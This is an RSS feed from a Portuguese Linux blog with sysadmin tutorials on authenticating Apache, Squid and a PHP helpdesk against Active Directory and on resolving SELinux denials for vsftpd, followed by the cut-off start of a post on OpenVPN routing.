<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Everlinux's Blog &#187; Segurança</title>
	<atom:link href="http://everlinux.com/blog/category/seguranca/feed" rel="self" type="application/rss+xml" />
	<link>http://everlinux.com/blog</link>
	<description>Sempre vivendo, aprendendo e blogando... :)</description>
	<lastBuildDate>Fri, 30 Jul 2010 18:13:16 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Como autenticar serviços no LDAP da MS (Active Directory)</title>
		<link>http://everlinux.com/blog/2010/04/13/como-autenticar-servicos-no-ldap-da-ms-active-directory</link>
		<comments>http://everlinux.com/blog/2010/04/13/como-autenticar-servicos-no-ldap-da-ms-active-directory#comments</comments>
		<pubDate>Tue, 13 Apr 2010 14:07:22 +0000</pubDate>
		<dc:creator>Tiago Cruz</dc:creator>
				<category><![CDATA[Dicas]]></category>
		<category><![CDATA[LDAP]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Segurança]]></category>
		<category><![CDATA[Squid]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[AD]]></category>
		<category><![CDATA[Apache]]></category>

		<guid isPermaLink="false">http://everlinux.com/blog/?p=1117</guid>
		<description><![CDATA[Imagine o seguinte cenário: Empresa de pequeno porte, com um AD instalado às pressas sem muitos cuidados e um servidor Linux lá no meio servindo de proxy. Se você tiver vontade de autenticar os serviços no AD, aqui vão alguns exemplos práticos e rápidos. Tome como base um Windows 2003, com o domínio chamado &#8220;EverLinux&#8221; [...]]]></description>
			<content:encoded><![CDATA[<p>Imagine o seguinte cenário: Empresa de pequeno porte, com um AD instalado às pressas sem muitos cuidados e um servidor Linux lá no meio servindo de proxy. Se você tiver vontade de autenticar os serviços no AD, aqui vão alguns exemplos práticos e rápidos.</p>
<p>Tome como base um Windows 2003, com o domínio chamado &#8220;EverLinux&#8221; e um usuário rosca lá chamado &#8220;tcruz&#8221; somente para fazer as buscas no diretório da Microsoft. O Linux seria um Ubuntu ou Debian da vida.</p>
<p><strong>Autenticando o Apache no AD</strong></p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #7a0874; font-weight: bold;">cd</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>apache2<span style="color: #000000; font-weight: bold;">/</span>mods-enabled
<span style="color: #c20cb9; font-weight: bold;">ln</span> <span style="color: #660033;">-s</span> ..<span style="color: #000000; font-weight: bold;">/</span>mods-available<span style="color: #000000; font-weight: bold;">/</span>ldap.load .
<span style="color: #c20cb9; font-weight: bold;">ln</span> <span style="color: #660033;">-s</span> ..<span style="color: #000000; font-weight: bold;">/</span>mods-available<span style="color: #000000; font-weight: bold;">/</span>authnz_ldap.load .
&nbsp;
<span style="color: #000000; font-weight: bold;">&lt;</span>Directory <span style="color: #ff0000;">&quot;/var/www/protegido&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span>
        AuthBasicProvider ldap
        AuthzLDAPAuthoritative off
        AuthName <span style="color: #ff0000;">&quot;Entre com a senha do AD&quot;</span>
        AuthType Basic
        AuthLDAPBindDN tcruz<span style="color: #000000; font-weight: bold;">@</span>everlinux
        AuthLDAPBindPassword senha_do_tcruz
        AuthLDAPURL ldap:<span style="color: #000000; font-weight: bold;">//</span>10.10.20.20:<span style="color: #000000;">3268</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #007800;">cn</span>=<span style="color: #c20cb9; font-weight: bold;">users</span>,<span style="color: #007800;"><span style="color: #c20cb9; font-weight: bold;">dc</span></span>=everlinux?sAMAccountName?one
        require user tcruz cmangini
        Allow from all
<span style="color: #000000; font-weight: bold;">&lt;/</span>Directory<span style="color: #000000; font-weight: bold;">&gt;</span></pre></div></div>

<p><strong>Autenticando o Squid no AD</strong></p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">...
acl bloqueados dstdom_regex <span style="color: #660033;">-i</span> <span style="color: #ff0000;">&quot;/etc/squid/block.txt&quot;</span>
http_access deny bloqueados
&nbsp;
auth_param basic program <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>squid<span style="color: #000000; font-weight: bold;">/</span>ldap_auth <span style="color: #660033;">-R</span> <span style="color: #660033;">-b</span> <span style="color: #ff0000;">&quot;dc=everlinux&quot;</span> <span style="color: #660033;">-D</span> \
<span style="color: #ff0000;">&quot;cn=tiago cruz,cn=users,dc=everlinux&quot;</span> <span style="color: #660033;">-w</span> <span style="color: #ff0000;">&quot;senha_tcruz&quot;</span> <span style="color: #660033;">-f</span> <span style="color: #007800;">sAMAccountName</span>=<span style="color: #000000; font-weight: bold;">%</span>s <span style="color: #660033;">-h</span> 10.10.20.20
auth_param basic children <span style="color: #000000;">5</span>
auth_param basic realm Autenticacao
auth_param basic credentialsttl <span style="color: #000000;">5</span> minutes
acl ldapauth proxy_auth REQUIRED
http_access allow ldapauth
...</pre></div></div>

<p><strong>Autenticando algo em PHP no AD</strong></p>
<p>O exemplo será o software <a href="http://www.oneorzero.com">OneOrZero</a> utilizado Help Desk:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;"># apt-get install php5-ldap</span>
&nbsp;
<span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>helpdesk<span style="color: #000000; font-weight: bold;">/</span>configuration<span style="color: #000000; font-weight: bold;">/</span>website_settings.php
auth_method = <span style="color: #ff0000;">&quot;AD&quot;</span>
ldap_host = <span style="color: #ff0000;">&quot;10.10.20.20&quot;</span>
ldap_domain = <span style="color: #ff0000;">&quot;everlinux&quot;</span>
ldap_binddn = <span style="color: #ff0000;">&quot;CN=Tiago Cruz,CN=Users,DC=everlinux&quot;</span>
ldap_bindpwd = <span style="color: #ff0000;">&quot;senha_tcruz&quot;</span>
ldap_rootdn = <span style="color: #ff0000;">&quot;CN=Users,DC=everlinux&quot;</span>
ldap_searchattr = <span style="color: #ff0000;">&quot;sAMAccountName&quot;</span>
ldap_fname = <span style="color: #ff0000;">&quot;givenname&quot;</span>
ldap_lname = <span style="color: #ff0000;">&quot;sn&quot;</span>
ldap_uname = <span style="color: #ff0000;">&quot;samaccountname&quot;</span>
ldap_email_add = <span style="color: #ff0000;">&quot;mail&quot;</span>
ldap_office = <span style="color: #ff0000;">&quot;physicaldeliveryofficename&quot;</span>
ldap_phone = <span style="color: #ff0000;">&quot;telephonenumber&quot;</span>
ldap_context = <span style="color: #ff0000;">&quot;sAMAccountName&quot;</span></pre></div></div>

<p><strong>Fazendo uma busca manualmente no diretório</strong></p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;"># ldapsearch -LLL -h 10.10.20.20 -P 3 -x -D &quot;cn=tiago cruz,cn=users,dc=everlinux&quot; -W \</span>
<span style="color: #660033;">-b</span> <span style="color: #ff0000;">&quot;cn=users,dc=everlinux&quot;</span>  <span style="color: #ff0000;">&quot;(&amp;(&amp;(objectClass=user)(objectCategory=person)) <span style="color: #000099; font-weight: bold;">\
</span>(sAMAccountName=tcruz))&quot;</span> 
Enter LDAP Password: 
dn: <span style="color: #007800;">CN</span>=Tiago Cruz,<span style="color: #007800;">CN</span>=Users,<span style="color: #007800;">DC</span>=everlinux
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: Tiago Cruz
sn: Cruz
physicalDeliveryOfficeName: EverLinuxs Office
telephoneNumber: <span style="color: #000000;">1234</span>-<span style="color: #000000;">4321</span>
givenName: Tiago
initials: ti
distinguishedName: <span style="color: #007800;">CN</span>=Tiago Cruz,<span style="color: #007800;">CN</span>=Users,<span style="color: #007800;">DC</span>=everlinux
instanceType: <span style="color: #000000;">4</span>
whenCreated: 20090427110042.0Z
whenChanged: 20100406221357.0Z
displayName: Tiago Cruz
uSNCreated: <span style="color: #000000;">555987</span>
memberOf:: <span style="color: #007800;">Q049QWRtaW5zLiBkbyBkb23DrW5pbyxDTj1Vc2VycyxEQz1kb21pbmlvMjAwNw</span>==
memberOf: <span style="color: #007800;">CN</span>=Administradores,<span style="color: #007800;">CN</span>=Builtin,<span style="color: #007800;">DC</span>=everlinux
uSNChanged: <span style="color: #000000;">2331137</span>
name: Tiago Cruz
objectGUID:: <span style="color: #000000;">39</span><span style="color: #007800;">teBl62JUWwzZz36nNICw</span>==
userAccountControl: <span style="color: #000000;">66048</span>
badPwdCount: <span style="color: #000000;">0</span>
codePage: <span style="color: #000000;">0</span>
countryCode: <span style="color: #000000;">0</span>
badPasswordTime: <span style="color: #000000;">129150648344589017</span>
lastLogoff: <span style="color: #000000;">0</span>
lastLogon: <span style="color: #000000;">129150648382871002</span>
pwdLastSet: <span style="color: #000000;">128853036428004858</span>
primaryGroupID: <span style="color: #000000;">513</span>
objectSid:: AQUAAAAAAAUVAAAAR0LCqonS5XyzPF2T+<span style="color: #007800;">AQAAA</span>==
adminCount: <span style="color: #000000;">1</span>
accountExpires: <span style="color: #000000;">9223372036854775807</span>
logonCount: <span style="color: #000000;">0</span>
sAMAccountName: tcruz
sAMAccountType: <span style="color: #000000;">80530263368</span>
userPrincipalName: tcruz<span style="color: #000000; font-weight: bold;">@</span>everlinux
objectCategory: <span style="color: #007800;">CN</span>=Person,<span style="color: #007800;">CN</span>=Schema,<span style="color: #007800;">CN</span>=Configuration,<span style="color: #007800;">DC</span>=everlinux
mail: tiagocruz AT everlinux.com</pre></div></div>

<p>Espero que com estas dicas fique mais fácil para você centralizar a autenticação de seus serviços, caso seja necessário integrar com um LDAP proprietário.</p>
]]></content:encoded>
			<wfw:commentRss>http://everlinux.com/blog/2010/04/13/como-autenticar-servicos-no-ldap-da-ms-active-directory/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Resolvendo problemas com o SELinux</title>
		<link>http://everlinux.com/blog/2009/07/28/resolvendo-problemas-com-o-selinux</link>
		<comments>http://everlinux.com/blog/2009/07/28/resolvendo-problemas-com-o-selinux#comments</comments>
		<pubDate>Tue, 28 Jul 2009 21:13:22 +0000</pubDate>
		<dc:creator>Tiago Cruz</dc:creator>
				<category><![CDATA[Dicas]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Segurança]]></category>
		<category><![CDATA[Selinux]]></category>

		<guid isPermaLink="false">http://everlinux.com/blog/?p=544</guid>
		<description><![CDATA[O objetivo deste post é ajudar as pessoas a manter o SELinux habilitado, resolvendo os problemas com o mesmo. O exemplo é um LAMP com Red Hat EL 5.3 com tudo funcionando, porém um daemon vsftpd que não quer subir quando o SELinux está rodando. Para verificar se o problema é de fato o SELinux, [...]]]></description>
			<content:encoded><![CDATA[<p>O objetivo deste post é ajudar as pessoas a manter o SELinux habilitado, resolvendo os problemas com o mesmo.</p>
<p>O exemplo é um LAMP com Red Hat EL 5.3 com tudo funcionando, porém um daemon vsftpd que não quer subir quando o SELinux está rodando.</p>
<p>Para verificar se o problema é de fato o SELinux, basta desabilita-lo temporariamente:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #7a0874; font-weight: bold;">&#91;</span>root<span style="color: #000000; font-weight: bold;">@</span>selinux tmp<span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #666666; font-style: italic;"># setenforce Permissive</span>
&nbsp;
<span style="color: #7a0874; font-weight: bold;">&#91;</span>root<span style="color: #000000; font-weight: bold;">@</span>selinux tmp<span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #666666; font-style: italic;"># /etc/init.d/vsftpd start</span>
Starting vsftpd <span style="color: #000000; font-weight: bold;">for</span> vsftpd:                                             <span style="color: #7a0874; font-weight: bold;">&#91;</span>  OK  <span style="color: #7a0874; font-weight: bold;">&#93;</span></pre></div></div>

<p>Sem o SELinux, o VSFTP funciona normalmente, porém basta ativa-lo que mensagens estranhas começam a aparecer:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #7a0874; font-weight: bold;">&#91;</span>root<span style="color: #000000; font-weight: bold;">@</span>selinux tmp<span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #666666; font-style: italic;"># setenforce enforcing</span>
&nbsp;
<span style="color: #7a0874; font-weight: bold;">&#91;</span>root<span style="color: #000000; font-weight: bold;">@</span>selinux tmp<span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #666666; font-style: italic;"># /etc/init.d/vsftpd start</span>
Starting vsftpd <span style="color: #000000; font-weight: bold;">for</span> vsftpd: <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>sbin<span style="color: #000000; font-weight: bold;">/</span>vsftpd: error <span style="color: #000000; font-weight: bold;">while</span> loading shared libraries: libssl.so.6: failed to map segment from shared object: Permission denied
                                                          <span style="color: #7a0874; font-weight: bold;">&#91;</span>FAILED<span style="color: #7a0874; font-weight: bold;">&#93;</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span>root<span style="color: #000000; font-weight: bold;">@</span>selinux ~<span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #666666; font-style: italic;"># tail /var/log/messages</span>
Jul <span style="color: #000000;">27</span> <span style="color: #000000;">15</span>:01:<span style="color: #000000;">44</span> selinux kernel: <span style="color: #007800;"><span style="color: #7a0874; font-weight: bold;">type</span></span>=<span style="color: #000000;">1107</span> audit<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">1248717704.011</span>:<span style="color: #000000;">1569</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>: user <span style="color: #007800;">pid</span>=<span style="color: #000000;">25449</span> <span style="color: #007800;">uid</span>=<span style="color: #000000;">28</span> <span style="color: #007800;">auid</span>=<span style="color: #000000;">4294967295</span> <span style="color: #007800;">subj</span>=system_u:system_r:init_t:s0 <span style="color: #007800;">msg</span>=<span style="color: #ff0000;">'avc:  denied  { shmempwd } for  scontext=system_u:system_r:initrc_t:s0 tcontext=system_u:system_r:init_t:s0 tclass=nscd
Jul 27 15:01:44 selinux kernel: : exe=&quot;?&quot; (sauid=28, hostname=?, addr=?, terminal=?)'</span>
Jul <span style="color: #000000;">27</span> <span style="color: #000000;">15</span>:01:<span style="color: #000000;">44</span> selinux kernel: <span style="color: #007800;"><span style="color: #7a0874; font-weight: bold;">type</span></span>=<span style="color: #000000;">1107</span> audit<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">1248717704.012</span>:<span style="color: #000000;">1570</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>: user <span style="color: #007800;">pid</span>=<span style="color: #000000;">25449</span> <span style="color: #007800;">uid</span>=<span style="color: #000000;">28</span> <span style="color: #007800;">auid</span>=<span style="color: #000000;">4294967295</span> <span style="color: #007800;">subj</span>=system_u:system_r:init_t:s0 <span style="color: #007800;">msg</span>=<span style="color: #ff0000;">'avc:  denied  { getpwd } for  scontext=system_u:system_r:initrc_t:s0 tcontext=system_u:system_r:init_t:s0 tclass=nscd
Jul 27 15:01:44 selinux kernel: : exe=&quot;?&quot; (sauid=28, hostname=?, addr=?, terminal=?)'</span>
Jul <span style="color: #000000;">27</span> <span style="color: #000000;">15</span>:01:<span style="color: #000000;">44</span> selinux kernel: <span style="color: #007800;"><span style="color: #7a0874; font-weight: bold;">type</span></span>=<span style="color: #000000;">1107</span> audit<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">1248717704.012</span>:<span style="color: #000000;">1571</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>: user <span style="color: #007800;">pid</span>=<span style="color: #000000;">25449</span> <span style="color: #007800;">uid</span>=<span style="color: #000000;">28</span> <span style="color: #007800;">auid</span>=<span style="color: #000000;">4294967295</span> <span style="color: #007800;">subj</span>=system_u:system_r:init_t:s0 <span style="color: #007800;">msg</span>=<span style="color: #ff0000;">'avc:  denied  { shmemgrp } for  scontext=system_u:system_r:initrc_t:s0 tcontext=system_u:system_r:init_t:s0 tclass=nscd
Jul 27 15:01:44 selinux kernel: : exe=&quot;?&quot; (sauid=28, hostname=?, addr=?, terminal=?)'</span>
Jul <span style="color: #000000;">27</span> <span style="color: #000000;">15</span>:01:<span style="color: #000000;">44</span> selinux kernel: <span style="color: #007800;"><span style="color: #7a0874; font-weight: bold;">type</span></span>=<span style="color: #000000;">1107</span> audit<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">1248717704.012</span>:<span style="color: #000000;">1572</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>: user <span style="color: #007800;">pid</span>=<span style="color: #000000;">25449</span> <span style="color: #007800;">uid</span>=<span style="color: #000000;">28</span> <span style="color: #007800;">auid</span>=<span style="color: #000000;">4294967295</span> <span style="color: #007800;">subj</span>=system_u:system_r:init_t:s0 <span style="color: #007800;">msg</span>=<span style="color: #ff0000;">'avc:  denied  { getgrp } for  scontext=system_u:system_r:initrc_t:s0 tcontext=system_u:system_r:init_t:s0 tclass=nscd
Jul 27 15:01:44 selinux kernel: : exe=&quot;?&quot; (sauid=28, hostname=?, addr=?, terminal=?)'</span>
Jul <span style="color: #000000;">27</span> <span style="color: #000000;">15</span>:01:<span style="color: #000000;">44</span> selinux kernel: <span style="color: #007800;"><span style="color: #7a0874; font-weight: bold;">type</span></span>=<span style="color: #000000;">1400</span> audit<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">1248717704.028</span>:<span style="color: #000000;">1573</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>: avc:  denied  <span style="color: #7a0874; font-weight: bold;">&#123;</span> execute <span style="color: #7a0874; font-weight: bold;">&#125;</span> <span style="color: #000000; font-weight: bold;">for</span>  <span style="color: #007800;">pid</span>=<span style="color: #000000;">25644</span> <span style="color: #007800;"><span style="color: #c20cb9; font-weight: bold;">comm</span></span>=<span style="color: #ff0000;">&quot;vsftpd&quot;</span> <span style="color: #007800;">path</span>=<span style="color: #ff0000;">&quot;/lib64/libssl.so.0.9.8e&quot;</span> <span style="color: #007800;">dev</span>=sda3 <span style="color: #007800;">ino</span>=<span style="color: #000000;">1488241</span> <span style="color: #007800;">scontext</span>=system_u:system_r:ftpd_t:s0 <span style="color: #007800;">tcontext</span>=system_u:object_r:file_t:s0 <span style="color: #007800;">tclass</span>=<span style="color: #c20cb9; font-weight: bold;">file</span></pre></div></div>

<p>Você pode observar que vários destes erros são referentes ao cache NSCD, e somente a última é de fato referente ao VSFTPd e suas bibiotecas compartilhadas.</p>
<p>Para ficar mais visível, vamos parar o o nscd e tratar como dois problemas distintos:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #7a0874; font-weight: bold;">&#91;</span>root<span style="color: #000000; font-weight: bold;">@</span>selinux selinux<span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #666666; font-style: italic;"># /etc/init.d/nscd stop</span>
Stopping nscd:                                             <span style="color: #7a0874; font-weight: bold;">&#91;</span>  OK  <span style="color: #7a0874; font-weight: bold;">&#93;</span>
&nbsp;
<span style="color: #7a0874; font-weight: bold;">&#91;</span>root<span style="color: #000000; font-weight: bold;">@</span>selinux selinux<span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #666666; font-style: italic;"># /etc/init.d/vsftpd start</span>
Starting vsftpd <span style="color: #000000; font-weight: bold;">for</span> vsftpd: <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>sbin<span style="color: #000000; font-weight: bold;">/</span>vsftpd: error <span style="color: #000000; font-weight: bold;">while</span> loading shared libraries: libssl.so.6: failed to map segment from shared object: Permission denied
                                                          <span style="color: #7a0874; font-weight: bold;">&#91;</span>FAILED<span style="color: #7a0874; font-weight: bold;">&#93;</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span>root<span style="color: #000000; font-weight: bold;">@</span>selinux selinux<span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #666666; font-style: italic;"># tail /var/log/messages</span>
Jul <span style="color: #000000;">27</span> <span style="color: #000000;">15</span>:01:<span style="color: #000000;">52</span> selinux kernel: <span style="color: #007800;"><span style="color: #7a0874; font-weight: bold;">type</span></span>=<span style="color: #000000;">1400</span> audit<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">1248717712.742</span>:<span style="color: #000000;">1574</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>: avc:  denied  <span style="color: #7a0874; font-weight: bold;">&#123;</span> execute <span style="color: #7a0874; font-weight: bold;">&#125;</span> <span style="color: #000000; font-weight: bold;">for</span>  <span style="color: #007800;">pid</span>=<span style="color: #000000;">25662</span> <span style="color: #007800;"><span style="color: #c20cb9; font-weight: bold;">comm</span></span>=<span style="color: #ff0000;">&quot;vsftpd&quot;</span> <span style="color: #007800;">path</span>=<span style="color: #ff0000;">&quot;/lib64/libssl.so.0.9.8e&quot;</span> <span style="color: #007800;">dev</span>=sda3 <span style="color: #007800;">ino</span>=<span style="color: #000000;">1488241</span> <span style="color: #007800;">scontext</span>=system_u:system_r:ftpd_t:s0 <span style="color: #007800;">tcontext</span>=system_u:object_r:file_t:s0 <span style="color: #007800;">tclass</span>=<span style="color: #c20cb9; font-weight: bold;">file</span></pre></div></div>

<p>Uma das coisas mais legais que foram adicionados ao RHEL5, é o daemon setroubleshoot que ajuda a traduzir esses erros monstros do selinux para algo que um humano consiga entender.</p>
<p>A ferramenta <strong>audit2allow</strong> permite pegar trechos de logs monstros que estão barrando em algo e converter para o mundo do Selinux, eliminando assim o problema em que você está preso:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #7a0874; font-weight: bold;">&#91;</span>root<span style="color: #000000; font-weight: bold;">@</span>selinux tcruz<span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #666666; font-style: italic;"># grep vsftpd /var/log/messages | audit2allow -M vsftpd</span></pre></div></div>

<p>Será gerado dois arquivos:<br />
vsftpd.te = texto<br />
vsftpd.pp = binário</p>
<p>O vsftpd.te conterá algo como:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">module vsftp <span style="color: #000000;">1.0</span>;
&nbsp;
require <span style="color: #7a0874; font-weight: bold;">&#123;</span>
	<span style="color: #7a0874; font-weight: bold;">type</span> ftpd_t;
	<span style="color: #7a0874; font-weight: bold;">type</span> file_t;
	class <span style="color: #c20cb9; font-weight: bold;">dir</span> search;
	class <span style="color: #c20cb9; font-weight: bold;">file</span> execute;
<span style="color: #7a0874; font-weight: bold;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#============= ftpd_t ==============</span>
allow ftpd_t file_t:<span style="color: #c20cb9; font-weight: bold;">dir</span> search;
allow ftpd_t file_t:<span style="color: #c20cb9; font-weight: bold;">file</span> execute;</pre></div></div>

<p>Enquanto o nscd.te mostraria algo assim:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">module nscd <span style="color: #000000;">1.0</span>;
&nbsp;
require <span style="color: #7a0874; font-weight: bold;">&#123;</span>
	<span style="color: #7a0874; font-weight: bold;">type</span> init_t;
	<span style="color: #7a0874; font-weight: bold;">type</span> initrc_t;
	class nscd <span style="color: #7a0874; font-weight: bold;">&#123;</span> shmemhost shmempwd getpwd shmemgrp gethost getgrp <span style="color: #7a0874; font-weight: bold;">&#125;</span>;
<span style="color: #7a0874; font-weight: bold;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#============= initrc_t ==============</span>
allow initrc_t init_t:nscd <span style="color: #7a0874; font-weight: bold;">&#123;</span> shmemgrp getgrp shmempwd getpwd gethost shmemhost <span style="color: #7a0874; font-weight: bold;">&#125;</span>;</pre></div></div>

<p>Se você estiver satisfeito com o resultado, poderá simplesmente importar o arquivo binário para junto das regras atuais do seu sistema:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #7a0874; font-weight: bold;">&#91;</span>root<span style="color: #000000; font-weight: bold;">@</span>selinux tcruz<span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #666666; font-style: italic;"># semodule -i vsftpd.pp</span></pre></div></div>

<p>Você pode fazer isso com o vsftpd e com nscd, até que seu problema seja de fato resolvido!</p>
<p>Pronto! Simples assim <img src='http://everlinux.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Um outro comando interessante, é o <strong>getsebool</strong> que pode alterar várias variáveis boolean (on ou off, 0 ou 1, ligado ou desligado) pré-definidas como:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #7a0874; font-weight: bold;">&#91;</span>root<span style="color: #000000; font-weight: bold;">@</span>selinux log<span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #666666; font-style: italic;"># setsebool -P ftp_home_dir 1</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span>root<span style="color: #000000; font-weight: bold;">@</span>selinux log<span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #666666; font-style: italic;"># setsebool -P allow_ftpd_full_access=1</span>
&nbsp;
<span style="color: #7a0874; font-weight: bold;">&#91;</span>root<span style="color: #000000; font-weight: bold;">@</span>selinux log<span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #666666; font-style: italic;"># getsebool -a | grep ftp</span>
allow_ftpd_anon_write --<span style="color: #000000; font-weight: bold;">&gt;</span> off
allow_ftpd_full_access --<span style="color: #000000; font-weight: bold;">&gt;</span> on
allow_ftpd_use_cifs --<span style="color: #000000; font-weight: bold;">&gt;</span> off
allow_ftpd_use_nfs --<span style="color: #000000; font-weight: bold;">&gt;</span> off
allow_tftp_anon_write --<span style="color: #000000; font-weight: bold;">&gt;</span> off
ftp_home_dir --<span style="color: #000000; font-weight: bold;">&gt;</span> on
ftpd_disable_trans --<span style="color: #000000; font-weight: bold;">&gt;</span> off
ftpd_is_daemon --<span style="color: #000000; font-weight: bold;">&gt;</span> on
httpd_enable_ftp_server --<span style="color: #000000; font-weight: bold;">&gt;</span> off
tftpd_disable_trans --<span style="color: #000000; font-weight: bold;">&gt;</span> off</pre></div></div>

<p>Links Úteis para saber mais sobre o SELinux:</p>
<p><a href="http://jczucco.blogspot.com/2009/07/apresentacao-sobre-selinux-no-fisl-10.html">http://jczucco.blogspot.com/2009/07/apresentacao-sobre-selinux-no-fisl-10.html</a><br />
<a href="http://magazine.redhat.com/2007/05/04/whats-new-in-selinux-for-red-hat-enterprise-linux-5/">http://magazine.redhat.com/2007/05/04/whats-new-in-selinux-for-red-hat-enterprise-linux-5/</a><br />
<a href="http://fedoraproject.org/wiki/SELinux">http://fedoraproject.org/wiki/SELinux</a><br />
<a href="http://docs.fedoraproject.org/selinux-faq-fc5/">http://docs.fedoraproject.org/selinux-faq-fc5/</a><br />
<a href="http://fedoraproject.org/wiki/SELinux/Understanding">http://fedoraproject.org/wiki/SELinux/Understanding</a></p>
]]></content:encoded>
			<wfw:commentRss>http://everlinux.com/blog/2009/07/28/resolvendo-problemas-com-o-selinux/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>OpenVPN com os clientes na mesma rede</title>
		<link>http://everlinux.com/blog/2009/07/18/openvpn-com-os-clientes-na-mesma-rede</link>
		<comments>http://everlinux.com/blog/2009/07/18/openvpn-com-os-clientes-na-mesma-rede#comments</comments>
		<pubDate>Sat, 18 Jul 2009 19:27:36 +0000</pubDate>
		<dc:creator>Tiago Cruz</dc:creator>
				<category><![CDATA[Dicas]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Scripts]]></category>
		<category><![CDATA[Segurança]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[VPN]]></category>

		<guid isPermaLink="false">http://everlinux.com/blog/?p=524</guid>
		<description><![CDATA[Um tempo atrás escrevi um artigo sobre VPNs que abordava as vantagens e desvantagens do PPTP, e também um passo-a-passo para subir um OpenVPN autenticando com certificados e etc. O artigo ainda está disponível na Web, e chama-se Implementando soluções de VPN. O que eu não sabia era que, embora o artigo seja meio antigo [...]]]></description>
			<content:encoded><![CDATA[<p>Um tempo atrás escrevi um artigo sobre VPNs que abordava as vantagens e desvantagens do PPTP, e também um passo-a-passo para subir um OpenVPN autenticando com certificados e etc.</p>
<p>O artigo ainda está disponível na Web, e chama-se <a href="http://everlinux.com/artigos/openvpn.html">Implementando soluções de VPN</a>. O que eu não sabia era que, embora o artigo seja meio antigo (Março de 2006) ele ainda continua funcional! Eu fui seguindo-o passo-a-passo, copiando e colando os comandos e em 15 minutos eu estava conectado à uma VPN usando roteamento com o device <strong>&#8220;tun&#8221;</strong>!</p>
<p>O modo de como esta VPN funciona é bem bacana, pois separa a sua rede &#8220;servidora&#8221; (ex: 192.168.0.x) da rede do cliente conectado via OpenVPN, criando uma rede como inválida qualquer como 10.8.0.x. O acesso de uma rede para a outra é feita via roteamento, descantando toda aquela nhaca de broadcast, netbios e etc.</p>
